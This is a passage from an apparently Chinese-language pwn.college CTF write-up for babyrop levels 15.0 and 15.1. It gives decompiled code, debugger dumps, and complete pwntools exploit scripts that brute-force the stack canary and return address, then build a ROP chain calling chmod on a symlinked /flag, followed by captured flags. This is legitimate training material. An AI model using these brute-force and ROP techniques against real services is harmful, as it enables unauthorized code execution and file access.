        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{IcjKEpDUZ1r43p0FESk4RB96-1s.0FO2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 15.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP when the stack frame returns to libc!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v4; // [rsp+0h] [rbp-C0h] BYREF
  const char **v5; // [rsp+8h] [rbp-B8h]
  const char **v6; // [rsp+10h] [rbp-B0h]
  int v7; // [rsp+1Ch] [rbp-A4h]
  int optval; // [rsp+2Ch] [rbp-94h] BYREF
  int fd; // [rsp+30h] [rbp-90h]
  int v10; // [rsp+34h] [rbp-8Ch]
  int v11; // [rsp+38h] [rbp-88h]
  int v12; // [rsp+3Ch] [rbp-84h]
  const char **v13; // [rsp+40h] [rbp-80h]
  const char **v14; // [rsp+48h] [rbp-78h]
  sockaddr addr; // [rsp+50h] [rbp-70h] BYREF
  _BYTE buf[88]; // [rsp+60h] [rbp-60h] BYREF
  unsigned __int64 v17; // [rsp+B8h] [rbp-8h]
  __int64 savedregs; // [rsp+C0h] [rbp+0h] BYREF
  _UNKNOWN *retaddr; // [rsp+C8h] [rbp+8h] BYREF

  v7 = argc;
  v6 = argv;
  v5 = envp;
  v17 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&quot;###&quot;);
  printf(&quot;### Welcome to %s!\n&quot;, *argv);
  puts(&quot;###&quot;);
  putchar(10);
  puts(&quot;This challenge is listening for connections on TCP port 1337.\n&quot;);
  puts(&quot;The challenge supports unlimited sequential connections.\n&quot;);
  fd = socket(2, 1, 0);
  optval = 1;
  setsockopt(fd, 1, 15, &amp;amp;optval, 4u);
  addr.sa_family = 2;
  *(_DWORD *)&amp;amp;addr.sa_data[2] = 0;
  *(_WORD *)addr.sa_data = htons(0x539u);
  bind(fd, &amp;amp;addr, 0x10u);
  listen(fd, 1);
  while ( 1 )
  {
    v10 = accept(fd, 0LL, 0LL);
    if ( !fork() )
      break;
    close(v10);
    wait(0LL);
  }
  dup2(v10, 0);
  dup2(v10, 1);
  dup2(v10, 2);
  close(fd);
  close(v10);
  v11 = v7;
  v13 = v6;
  v14 = v5;
  puts(
    &quot;This challenge reads in some bytes, overflows its stack, and allows you to perform a ROP attack. Through this series of&quot;);
  puts(&quot;challenges, you will become painfully familiar with the concept of Return Oriented Programming!\n&quot;);
  sp_ = (__int64)&amp;amp;v4;
  bp_ = (__int64)&amp;amp;savedregs;
  sz_ = ((unsigned __int64)((char *)&amp;amp;savedregs - (char *)&amp;amp;v4) &amp;gt;&amp;gt; 3) + 2;
  rp_ = (__int64)&amp;amp;retaddr;
  puts(
    &quot;PIE is turned on! This means that you do not know where any of the gadgets in the main binary are. However, you can do a&quot;);
  puts(
    &quot;partial overwrite of the saved instruction pointer in order to execute 1 gadget! If that saved instruction pointer goes&quot;);
  puts(
    &quot;to libc, you will need to ROP from there. If that saved instruction pointer goes to the main binary, you will need to&quot;);
  puts(
    &quot;ROP from there. You may need need to execute your payload several times to account for the randomness introduced. This&quot;);
  puts(&quot;might take anywhere from 0-12 bits of bruteforce depending on the scenario.\n&quot;);
  v12 = read(0, buf, 0x1000uLL);
  printf(&quot;Received %d bytes! This is potentially %d gadgets.\n&quot;, v12, (unsigned __int64)&amp;amp;buf[v12 - rp_] &amp;gt;&amp;gt; 3);
  puts(&quot;Let&apos;s take a look at your chain! Note that we have no way to verify that the gadgets are executable&quot;);
  puts(&quot;from within this challenge. You will have to do that by yourself.&quot;);
  print_chain(rp_, (unsigned int)((unsigned __int64)&amp;amp;buf[v12 - rp_] &amp;gt;&amp;gt; 3) + 1);
  puts(&quot;Leaving!&quot;);
  puts(&quot;### Goodbye!&quot;);
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;与上一题的区别在于上一题会返回到 binary 的 &lt;code&gt;main&lt;/code&gt; 中，而这题直接把所有逻辑都写在 &lt;code&gt;main&lt;/code&gt; 里面了，那就会返回到 &lt;code&gt;libc&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;因为上题会返回到 &lt;code&gt;main&lt;/code&gt;，里面有一些输出信息，所以我们很容易判断返回地址的下一字节是否爆破成功，但这题返回到 &lt;code&gt;libc&lt;/code&gt;，默认是要执行 &lt;code&gt;exit()&lt;/code&gt; 的，不会产生任何输出信息，直接爆破肯定是得不到完整返回地址的。难点就在这里，怎么确定我的爆破是否成功了，以便继续爆破下一字节？&lt;/p&gt;
&lt;p&gt;经实测发现，&lt;code&gt;pwntools&lt;/code&gt; 在检测到 &lt;code&gt;fork&lt;/code&gt; 出新的子进程后 debug log 会输出这样一段信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;b&apos;     42242:\t\n&apos;
b&apos;     42242:\ttransferring control: /challenge/babyrop_level15.0\n&apos;
b&apos;     42242:\t\n&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LMAO，看到这段美丽的 debug log 我就知道这题已经到手了！&lt;/p&gt;
&lt;p&gt;所以我们只要根据上面这个 transferring control 信息就能判断程序是否成功返回到 &lt;code&gt;fork()&lt;/code&gt; 了。然后实际编写 exp 的时候我还发现，在成功返回到 &lt;code&gt;fork()&lt;/code&gt; 生成了新的 &lt;code&gt;main&lt;/code&gt; 进程后后续的连接都会变得十分缓慢/碰运气，这是因为有两个进程同时监听来自指定端口的连接，产生了条件竞争，我们杀掉一个就好了。幸运的，pwntools 的 debug log 除了提示我们 fork 出了一个新的进程外，还把 fork 出来的子进程的 PID 也告诉我们了，所以我们直接把这个子进程 kill 掉就好了。这无疑为我们编写自动化脚本提供了极大的便利，否则就要手动 kill 了，我看 discord 社区还真有人这么干，显然是没发现 pwntools 的强大……&lt;/p&gt;
&lt;p&gt;有关爆破返回地址这里其实还有一个坑，如果你看 &lt;code&gt;got&lt;/code&gt; 表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; got -r
State of the GOT of /home/cub3y0nd/Projects/pwn.college/babyrop_level15.0:
GOT protection: Full RELRO | Found 28 GOT entries passing the filter
[0x60fada8bdf20] putchar@GLIBC_2.2.5 -&amp;gt; 0x763654694280 (putchar) ◂— endbr64
[0x60fada8bdf28] __errno_location@GLIBC_2.2.5 -&amp;gt; 0x763654632400 (__errno_location) ◂— endbr64
[0x60fada8bdf30] puts@GLIBC_2.2.5 -&amp;gt; 0x763654692420 (puts) ◂— endbr64
[0x60fada8bdf38] setsockopt@GLIBC_2.2.5 -&amp;gt; 0x76365472e960 (setsockopt) ◂— endbr64
[0x60fada8bdf40] cs_free -&amp;gt; 0x763654a5aba0 (cs_free) ◂— endbr64
[0x60fada8bdf48] __stack_chk_fail@GLIBC_2.4 -&amp;gt; 0x76365473dc90 (__stack_chk_fail) ◂— endbr64
[0x60fada8bdf50] htons@GLIBC_2.2.5 -&amp;gt; 0x76365473dcf0 (ntohs) ◂— endbr64
[0x60fada8bdf58] dup2@GLIBC_2.2.5 -&amp;gt; 0x76365471cae0 (dup2) ◂— endbr64
[0x60fada8bdf60] printf@GLIBC_2.2.5 -&amp;gt; 0x76365466fc90 (printf) ◂— endbr64
[0x60fada8bdf68] close@GLIBC_2.2.5 -&amp;gt; 0x76365471ca20 (close) ◂— endbr64
[0x60fada8bdf70] read@GLIBC_2.2.5 -&amp;gt; 0x76365471c1e0 (read) ◂— endbr64
[0x60fada8bdf78] strcmp@GLIBC_2.2.5 -&amp;gt; 0x763654791df0 ◂— endbr64
[0x60fada8bdf80] cs_disasm -&amp;gt; 0x763654a5b000 (cs_disasm) ◂— endbr64
[0x60fada8bdf88] mincore@GLIBC_2.2.5 -&amp;gt; 0x763654726cc0 (mincore) ◂— endbr64
[0x60fada8bdf90] listen@GLIBC_2.2.5 -&amp;gt; 0x76365472e4e0 (listen) ◂— endbr64
[0x60fada8bdf98] setvbuf@GLIBC_2.2.5 -&amp;gt; 0x763654692ce0 (setvbuf) ◂— endbr64
[0x60fada8bdfa0] bind@GLIBC_2.2.5 -&amp;gt; 0x76365472e380 (bind) ◂— endbr64
[0x60fada8bdfa8] cs_open -&amp;gt; 0x763654a5a6a0 (cs_open) ◂— endbr64
[0x60fada8bdfb0] accept@GLIBC_2.2.5 -&amp;gt; 0x76365472e2e0 (accept) ◂— endbr64
[0x60fada8bdfb8] cs_close -&amp;gt; 0x763654a5a830 (cs_close) ◂— endbr64
[0x60fada8bdfc0] wait@GLIBC_2.2.5 -&amp;gt; 0x7636546f0bd0 (wait) ◂— endbr64
[0x60fada8bdfc8] fork@GLIBC_2.2.5 -&amp;gt; 0x7636546f0ef0 (fork) ◂— endbr64
[0x60fada8bdfd0] socket@GLIBC_2.2.5 -&amp;gt; 0x76365472e9c0 (socket) ◂— endbr64
[0x60fada8bdfd8] _ITM_deregisterTMCloneTable -&amp;gt; 0
[0x60fada8bdfe0] __libc_start_main@GLIBC_2.2.5 -&amp;gt; 0x763654631f90 (__libc_start_main) ◂— endbr64
[0x60fada8bdfe8] __gmon_start__ -&amp;gt; 0
[0x60fada8bdff0] _ITM_registerTMCloneTable -&amp;gt; 0
[0x60fada8bdff8] __cxa_finalize@GLIBC_2.2.5 -&amp;gt; 0x763654654f10 (__cxa_finalize) ◂— endbr64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再看 &lt;code&gt;__libc_start_main&lt;/code&gt; 的汇编：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; disass __libc_start_main
Dump of assembler code for function __libc_start_main:
   0x0000763654631f90 &amp;lt;+0&amp;gt;: endbr64
   0x0000763654631f94 &amp;lt;+4&amp;gt;: push   r15
   0x0000763654631f96 &amp;lt;+6&amp;gt;: xor    eax,eax
   0x0000763654631f98 &amp;lt;+8&amp;gt;: push   r14
   0x0000763654631f9a &amp;lt;+10&amp;gt;: push   r13
   0x0000763654631f9c &amp;lt;+12&amp;gt;: push   r12
   0x0000763654631f9e &amp;lt;+14&amp;gt;: push   rbp
   0x0000763654631f9f &amp;lt;+15&amp;gt;: push   rbx
   0x0000763654631fa0 &amp;lt;+16&amp;gt;: mov    rbx,rcx
   0x0000763654631fa3 &amp;lt;+19&amp;gt;: sub    rsp,0x98
   0x0000763654631faa &amp;lt;+26&amp;gt;: mov    QWORD PTR [rsp+0x8],rdx
   0x0000763654631faf &amp;lt;+31&amp;gt;: mov    rdx,QWORD PTR [rip+0x1c7f8a]        # 0x7636547f9f40
   0x0000763654631fb6 &amp;lt;+38&amp;gt;: mov    QWORD PTR [rsp+0x18],rdi
   0x0000763654631fbb &amp;lt;+43&amp;gt;: mov    rdi,r9
   0x0000763654631fbe &amp;lt;+46&amp;gt;: mov    DWORD PTR [rsp+0x14],esi
   0x0000763654631fc2 &amp;lt;+50&amp;gt;: test   rdx,rdx
   0x0000763654631fc5 &amp;lt;+53&amp;gt;: je     0x763654631fd0 &amp;lt;__libc_start_main+64&amp;gt;
   0x0000763654631fc7 &amp;lt;+55&amp;gt;: mov    edx,DWORD PTR [rdx]
   0x0000763654631fc9 &amp;lt;+57&amp;gt;: xor    eax,eax
   0x0000763654631fcb &amp;lt;+59&amp;gt;: test   edx,edx
   0x0000763654631fcd &amp;lt;+61&amp;gt;: sete   al
   0x0000763654631fd0 &amp;lt;+64&amp;gt;: mov    DWORD PTR [rip+0x1c81ca],eax        # 0x7636547fa1a0
   0x0000763654631fd6 &amp;lt;+70&amp;gt;: test   rdi,rdi
   0x0000763654631fd9 &amp;lt;+73&amp;gt;: je     0x763654631fe4 &amp;lt;__libc_start_main+84&amp;gt;
   0x0000763654631fdb &amp;lt;+75&amp;gt;: xor    edx,edx
   0x0000763654631fdd &amp;lt;+77&amp;gt;: xor    esi,esi
   0x0000763654631fdf &amp;lt;+79&amp;gt;: call   0x763654654de0 &amp;lt;__cxa_atexit&amp;gt;
   0x0000763654631fe4 &amp;lt;+84&amp;gt;: mov    rdx,QWORD PTR [rip+0x1c7e75]        # 0x7636547f9e60
   0x0000763654631feb &amp;lt;+91&amp;gt;: mov    ebp,DWORD PTR [rdx]
   0x0000763654631fed &amp;lt;+93&amp;gt;: and    ebp,0x2
   0x0000763654631ff0 &amp;lt;+96&amp;gt;: jne    0x76365463208a &amp;lt;__libc_start_main+250&amp;gt;
   0x0000763654631ff6 &amp;lt;+102&amp;gt;: test   rbx,rbx
   0x0000763654631ff9 &amp;lt;+105&amp;gt;: je     0x763654632010 &amp;lt;__libc_start_main+128&amp;gt;
   0x0000763654631ffb &amp;lt;+107&amp;gt;: mov    rax,QWORD PTR [rip+0x1c7eae]        # 0x7636547f9eb0
   0x0000763654632002 &amp;lt;+114&amp;gt;: mov    rsi,QWORD PTR [rsp+0x8]
   0x0000763654632007 &amp;lt;+119&amp;gt;: mov    edi,DWORD PTR [rsp+0x14]
   0x000076365463200b &amp;lt;+123&amp;gt;: mov    rdx,QWORD PTR [rax]
   0x000076365463200e &amp;lt;+126&amp;gt;: call   rbx
   0x0000763654632010 &amp;lt;+128&amp;gt;: mov    rdx,QWORD PTR [rip+0x1c7e49]        # 0x7636547f9e60
   0x0000763654632017 &amp;lt;+135&amp;gt;: mov    eax,DWORD PTR [rdx+0x210]
   0x000076365463201d &amp;lt;+141&amp;gt;: test   eax,eax
   0x000076365463201f &amp;lt;+143&amp;gt;: jne    0x7636546320ec &amp;lt;__libc_start_main+348&amp;gt;
   0x0000763654632025 &amp;lt;+149&amp;gt;: test   ebp,ebp
   0x0000763654632027 &amp;lt;+151&amp;gt;: jne    0x763654632150 &amp;lt;__libc_start_main+448&amp;gt;
   0x000076365463202d &amp;lt;+157&amp;gt;: lea    rdi,[rsp+0x20]
   0x0000763654632032 &amp;lt;+162&amp;gt;: call   0x763654650c80 &amp;lt;_setjmp&amp;gt;
   0x0000763654632037 &amp;lt;+167&amp;gt;: endbr64
   0x000076365463203b &amp;lt;+171&amp;gt;: test   eax,eax
   0x000076365463203d &amp;lt;+173&amp;gt;: jne    0x7636546320a6 &amp;lt;__libc_start_main+278&amp;gt;
   0x000076365463203f &amp;lt;+175&amp;gt;: mov    rax,QWORD PTR fs:0x300
   0x0000763654632048 &amp;lt;+184&amp;gt;: mov    QWORD PTR [rsp+0x68],rax
   0x000076365463204d &amp;lt;+189&amp;gt;: mov    rax,QWORD PTR fs:0x2f8
   0x0000763654632056 &amp;lt;+198&amp;gt;: mov    QWORD PTR [rsp+0x70],rax
   0x000076365463205b &amp;lt;+203&amp;gt;: lea    rax,[rsp+0x20]
   0x0000763654632060 &amp;lt;+208&amp;gt;: mov    QWORD PTR fs:0x300,rax
   0x0000763654632069 &amp;lt;+217&amp;gt;: mov    rax,QWORD PTR [rip+0x1c7e40]        # 0x7636547f9eb0
   0x0000763654632070 &amp;lt;+224&amp;gt;: mov    rsi,QWORD PTR [rsp+0x8]
   0x0000763654632075 &amp;lt;+229&amp;gt;: mov    edi,DWORD PTR [rsp+0x14]
   0x0000763654632079 &amp;lt;+233&amp;gt;: mov    rdx,QWORD PTR [rax]
   0x000076365463207c &amp;lt;+236&amp;gt;: mov    rax,QWORD PTR [rsp+0x18]
   0x0000763654632081 &amp;lt;+241&amp;gt;: call   rax
   0x0000763654632083 &amp;lt;+243&amp;gt;: mov    edi,eax
   0x0000763654632085 &amp;lt;+245&amp;gt;: call   0x763654654a40 &amp;lt;exit&amp;gt;
   0x000076365463208a &amp;lt;+250&amp;gt;: mov    rax,QWORD PTR [rsp+0x8]
   0x000076365463208f &amp;lt;+255&amp;gt;: lea    rdi,[rip+0x18fdd2]        # 0x7636547c1e68
   0x0000763654632096 &amp;lt;+262&amp;gt;: mov    rsi,QWORD PTR [rax]
   0x0000763654632099 &amp;lt;+265&amp;gt;: xor    eax,eax
   0x000076365463209b &amp;lt;+267&amp;gt;: call   QWORD PTR [rdx+0x1d0]
   0x00007636546320a1 &amp;lt;+273&amp;gt;: jmp    0x763654631ff6 &amp;lt;__libc_start_main+102&amp;gt;
   0x00007636546320a6 &amp;lt;+278&amp;gt;: mov    rax,QWORD PTR [rip+0x1cd3cb]        # 0x7636547ff478
   0x00007636546320ad &amp;lt;+285&amp;gt;: ror    rax,0x11
   0x00007636546320b1 &amp;lt;+289&amp;gt;: xor    rax,QWORD PTR fs:0x30
   0x00007636546320ba &amp;lt;+298&amp;gt;: call   rax
   0x00007636546320bc &amp;lt;+300&amp;gt;: mov    rax,QWORD PTR [rip+0x1cd3a5]        # 0x7636547ff468
   0x00007636546320c3 &amp;lt;+307&amp;gt;: ror    rax,0x11
   0x00007636546320c7 &amp;lt;+311&amp;gt;: xor    rax,QWORD PTR fs:0x30
   0x00007636546320d0 &amp;lt;+320&amp;gt;: lock dec DWORD PTR [rax]
   0x00007636546320d3 &amp;lt;+323&amp;gt;: sete   dl
   0x00007636546320d6 &amp;lt;+326&amp;gt;: test   dl,dl
   0x00007636546320d8 &amp;lt;+328&amp;gt;: jne    0x7636546320e8 &amp;lt;__libc_start_main+344&amp;gt;
   0x00007636546320da &amp;lt;+330&amp;gt;: mov    edx,0x3c
   0x00007636546320df &amp;lt;+335&amp;gt;: nop
   0x00007636546320e0 &amp;lt;+336&amp;gt;: xor    edi,edi
   0x00007636546320e2 &amp;lt;+338&amp;gt;: mov    eax,edx
   0x00007636546320e4 &amp;lt;+340&amp;gt;: syscall
   0x00007636546320e6 &amp;lt;+342&amp;gt;: jmp    0x7636546320e0 &amp;lt;__libc_start_main+336&amp;gt;
   0x00007636546320e8 &amp;lt;+344&amp;gt;: xor    eax,eax
   0x00007636546320ea &amp;lt;+346&amp;gt;: jmp    0x763654632083 &amp;lt;__libc_start_main+243&amp;gt;
   0x00007636546320ec &amp;lt;+348&amp;gt;: mov    r13,QWORD PTR [rip+0x1c7cfd]        # 0x7636547f9df0
   0x00007636546320f3 &amp;lt;+355&amp;gt;: mov    r12d,eax
   0x00007636546320f6 &amp;lt;+358&amp;gt;: mov    r14,QWORD PTR [rdx+0x208]
   0x00007636546320fd &amp;lt;+365&amp;gt;: shl    r12,0x4
   0x0000763654632101 &amp;lt;+369&amp;gt;: mov    r15,QWORD PTR [r13+0x0]
   0x0000763654632105 &amp;lt;+373&amp;gt;: mov    rbx,r15
   0x0000763654632108 &amp;lt;+376&amp;gt;: add    r12,r15
   0x000076365463210b &amp;lt;+379&amp;gt;: cmp    rbx,r12
   0x000076365463210e &amp;lt;+382&amp;gt;: je     0x763654632025 &amp;lt;__libc_start_main+149&amp;gt;
   0x0000763654632114 &amp;lt;+388&amp;gt;: mov    rax,QWORD PTR [r14+0x18]
   0x0000763654632118 &amp;lt;+392&amp;gt;: test   rax,rax
   0x000076365463211b &amp;lt;+395&amp;gt;: je     0x763654632139 &amp;lt;__libc_start_main+425&amp;gt;
   0x000076365463211d &amp;lt;+397&amp;gt;: mov    rdx,QWORD PTR [rip+0x1c7ccc]        # 0x7636547f9df0
   0x0000763654632124 &amp;lt;+404&amp;gt;: lea    rdi,[rbx+0x480]
   0x000076365463212b &amp;lt;+411&amp;gt;: add    rdx,0x988
   0x0000763654632132 &amp;lt;+418&amp;gt;: cmp    r15,rdx
   0x0000763654632135 &amp;lt;+421&amp;gt;: je     0x763654632147 &amp;lt;__libc_start_main+439&amp;gt;
   0x0000763654632137 &amp;lt;+423&amp;gt;: call   rax
   0x0000763654632139 &amp;lt;+425&amp;gt;: mov    r14,QWORD PTR [r14+0x40]
   0x000076365463213d &amp;lt;+429&amp;gt;: add    r13,0x10
   0x0000763654632141 &amp;lt;+433&amp;gt;: add    rbx,0x10
   0x0000763654632145 &amp;lt;+437&amp;gt;: jmp    0x76365463210b &amp;lt;__libc_start_main+379&amp;gt;
   0x0000763654632147 &amp;lt;+439&amp;gt;: lea    rdi,[r13+0xe08]
   0x000076365463214e &amp;lt;+446&amp;gt;: jmp    0x763654632137 &amp;lt;__libc_start_main+423&amp;gt;
   0x0000763654632150 &amp;lt;+448&amp;gt;: mov    rax,QWORD PTR [rsp+0x8]
   0x0000763654632155 &amp;lt;+453&amp;gt;: mov    rdx,QWORD PTR [rip+0x1c7d04]        # 0x7636547f9e60
   0x000076365463215c &amp;lt;+460&amp;gt;: lea    rdi,[rip+0x18fd1f]        # 0x7636547c1e82
   0x0000763654632163 &amp;lt;+467&amp;gt;: mov    rsi,QWORD PTR [rax]
   0x0000763654632166 &amp;lt;+470&amp;gt;: xor    eax,eax
   0x0000763654632168 &amp;lt;+472&amp;gt;: call   QWORD PTR [rdx+0x1d0]
   0x000076365463216e &amp;lt;+478&amp;gt;: jmp    0x76365463202d &amp;lt;__libc_start_main+157&amp;gt;
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;真 TM 巧啊…… &lt;code&gt;fork()&lt;/code&gt; 在 libc 中的固定字节正巧是 &lt;code&gt;\xf0&lt;/code&gt;（爆破返回地址这种事情我不习惯固定倒数第三个 nibble，不然我早就可以意识到后续的问题了）、&lt;code&gt;__libc_start_main&lt;/code&gt; 中 &lt;code&gt;\xf0&lt;/code&gt; 处的指令 &lt;code&gt;jne&lt;/code&gt; 正巧不会跳转、下面继续执行的正巧是 &lt;code&gt;fork()&lt;/code&gt;。这一连串的巧合让我在分析的时候百思不得其解啊，为毛计算了 &lt;code&gt;fork()&lt;/code&gt; 到 libc 之间的偏移就是 TMD 执行不了我的 ROP Chain……因为我在打 &lt;a href=&quot;#level-140&quot;&gt;Level 14&lt;/a&gt; 的时候也碰到过 exp 没问题但就是打不通的问题，多打几次就好了……我！草！又 TM 是一个巧合……最后导致我在这上面耗了大概……好几个小时？一下午？无所谓了……&lt;/p&gt;
&lt;p&gt;这说明了我对程序的细粒度还不够敏感，不过有了这次经验后以后就长记性了……毕竟我们的默认返回地址是返回到 &lt;code&gt;__libc_start_main&lt;/code&gt; 中的，而我们又是从低位开始爆破，怎么着也不可能走到 libc 中的 &lt;code&gt;fork()&lt;/code&gt; 吧……大概率会掉到 &lt;code&gt;__libc_start_main&lt;/code&gt; 中的一个 call 里才是。确实，说不可能有点太绝对了，不够严谨。其实在满足了『天时、地利、人和』的情况下还是很有可能的，只是可能性有点小。&lt;/p&gt;
&lt;p&gt;~&lt;em&gt;最后，我觉得一切的罪魁祸首是我 ret2fork 的灵感来源于 &lt;code&gt;got&lt;/code&gt; 表，真不知道该谢谢你还是……如果说有人想浪费我的时间很困难……6，被你做到了，而且非常完美……&lt;/em&gt;~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    re,
    remote,
    signal,
    sleep,
    time,
)
from pwnlib.gdb import psutil

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level15.0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x58
LIBC_OFFSET = 0x23FF0


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    children = psutil.Process(parent_pid).children()

    if len(children) != 1:
        raise ValueError(f&quot;Expected 1 child process, found {len(children)}&quot;)

    log.success(f&quot;Parent PID {parent_pid} -&amp;gt; Found child PID {children[0].pid}&quot;)

    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                nc_process = process([&quot;nc&quot;, HOST, str(PORT)])
                sleep(1)

                gdb.attach(target=get_forked_pid(target.pid), gdbscript=gdbscript)

                return nc_process
            else:
                target.close()

                return gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
                )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def brute_force(target_type, fixed_byte, canary=b&quot;&quot;):
    current = fixed_byte
    length = 0x8 if target_type == &quot;canary&quot; else 0x6
    start_time = time.time()

    while len(current) &amp;lt; length:
        for byte in range(0x0, 0xFF):
            with remote(HOST, PORT) as target:
                payload = flat(
                    b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;) + current + p8(byte)
                    if target_type == &quot;canary&quot;
                    else b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;)
                    + canary
                    + b&quot;&quot;.ljust(0x8, b&quot;A&quot;)
                    + current
                    + p8(byte)
                )

                target.send(payload)

                response = target.recvall(timeout=5)

                if (
                    target_type == &quot;canary&quot;
                    and b&quot;*** stack smashing detected ***&quot; not in response
                ) or (target_type == &quot;retaddr&quot; and b&quot;transferring control&quot; in response):
                    current += p8(byte)

                    pattern = r&quot;(\d+):\ttransferring control&quot;
                    matches = re.findall(
                        pattern, response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;)
                    )

                    if matches:
                        pid = int(matches[0])
                        os.kill(pid, signal.SIGTERM)
                    else:
                        log.failure(b&quot;No matching PID found!&quot;)
                    break

    end_time = time.time()
    elapsed_time = end_time - start_time

    log.success(
        f&quot;{target_type.capitalize()} brute-forced: {to_hex_bytes(current)} in {elapsed_time:.2f} seconds.&quot;
    )

    return current


def construct_payload(canary, leaked_libc):
    libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)
    libc.address = int.from_bytes(leaked_libc, &quot;little&quot;) - LIBC_OFFSET

    rop = ROP(libc)

    pop_rdi_ret = rop.rdi.address
    pop_rsi_ret = rop.rsi.address

    filename = next(libc.search(b&quot;GNU&quot;))
    mode = 0o4

    return flat(
        b&quot;&quot;.ljust(CANARY_OFFSET, b&quot;A&quot;),
        canary,
        b&quot;&quot;.ljust(0x8, b&quot;A&quot;),
        pop_rdi_ret,
        filename,
        pop_rsi_ret,
        mode,
        libc.symbols[&quot;chmod&quot;],
    )


def attack(canary, leaked_libc):
    try:
        os.system(&quot;ln -s /flag GNU&quot;)

        with remote(HOST, PORT) as target:
            payload = construct_payload(canary, leaked_libc)

            target.send(payload)
            target.recvall(timeout=1)

        try:
            with open(&quot;/flag&quot;, &quot;r&quot;) as f:
                log.success(f.read())
            return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;/flag&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;/flag&apos;.&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        launch(debug=False, attach=False)

        canary = brute_force(&quot;canary&quot;, b&quot;\x00&quot;)
        leaked_libc = brute_force(&quot;retaddr&quot;, b&quot;\xf0&quot;, canary)

        if attack(canary, leaked_libc):
            exit()
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wOJjH27pmDvy68va0GzxQ3gHz6_.0VO2MDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 15.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Perform ROP when the stack frame returns to libc!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-150&quot;&gt;Level 15.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    ROP,
    context,
    flat,
    gdb,
    log,
    os,
    p8,
    process,
    re,
    remote,
    signal,
    sleep,
    time,
)
from pwnlib.gdb import psutil

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./babyrop_level15.1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
set follow-fork-mode child
c
&quot;&quot;&quot;

CANARY_OFFSET = 0x48
LIBC_OFFSET = 0x23FF0


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def get_forked_pid(parent_pid):
    children = psutil.Process(parent_pid).children()

    if len(children) != 1:
        raise ValueError(f&quot;Expected 1 child process, found {len(children)}&quot;)

    log.success(f&quot;Parent PID {parent_pid} -&amp;gt; Found child PID {children[0].pid}&quot;)

    return children[0].pid


def launch(local=True, debug=False, aslr=False, argv=None, envp=None, attach=False):
    if local:
        global elf

        elf = ELF(FILE)
        context.binary = elf

        target = process([elf.path] + (argv or []), env=envp, aslr=aslr)

        if debug:
            if attach:
                nc_process = process([&quot;nc&quot;, HOST, str(PORT)])
                sleep(1)

                gdb.attach(target=get_forked_pid(target.pid), gdbscript=gdbscript)

                return nc_process
            else:
                target.close()

